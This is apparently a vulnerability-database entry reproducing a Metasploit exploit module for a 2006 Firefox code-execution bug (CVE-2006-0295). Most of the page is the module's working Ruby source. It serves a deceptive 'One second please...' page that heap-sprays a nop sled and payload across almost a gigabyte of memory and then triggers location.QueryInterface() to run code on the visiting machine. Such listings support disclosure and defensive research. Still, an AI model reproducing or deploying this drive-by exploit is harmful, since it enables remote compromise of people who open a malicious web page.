Firefox location.QueryInterface() Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Firefox location.QueryInterface() Code Execution vulnerability in Mozilla Firefox browser. Exploits the vulnerability to execute code by filling almost a gigabyte of memory with a nop sled and payload


                                                ##
# $Id: firefox_queryinterface.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Firefox location.QueryInterface() Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a code execution vulnerability in the Mozilla
				Firefox browser. To reliably exploit this vulnerability, we need to fill
				almost a gigabyte of memory with our nop sled and payload. This module has
				been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;  [&#39;hdm&#39;],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2006-0295&#39;],
					[&#39;OSVDB&#39;, &#39;22893&#39;],
					[&#39;BID&#39;, &#39;16476&#39;],
					[&#39;URL&#39;, &#39;http://www.mozilla.org/security/announce/mfsa2006-04.html&#39;],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1000 + (rand(256).to_i * 4),
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Firefox 1.5.0.0 Mac OS X&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_PPC
						}
					],

					[ &#39;Firefox 1.5.0.0 Linux&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;linux&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 02 2006&#39;
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)
		send_response_html(cli, generate_html(p), { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

		return &#60;&#60;-EOF
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;One second please...&#60;/title&#62;
&#60;script language=&#34;javascript&#34;&#62;

function BodyOnLoad() {
	h = FillHeap();
	location.QueryInterface(eval(&#34;Components.interfaces.nsIClassInfo&#34;));
};

function FillHeap() {
	// Filler
	var m = &#34;&#34;;
	var h = &#34;&#34;;
	var a = 0;
	
	// Nop sled
	for(a=0; a&#60;(1024*256); a++)
		m += unescape(&#34;#{enc_nops}&#34;);
		
	// Payload
	m += unescape(&#34;#{enc_code}&#34;);
	
	// Repeat
	for(a=0; a&#60;1024; a++)
		h += m;
		
	// Return
	return h;
}
&#60;/script&#62;
&#60;/head&#62;
&#60;body onload=&#34;BodyOnLoad()&#34;&#62;
&#60;/body&#62;
&#60;/html&#62;
EOF
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1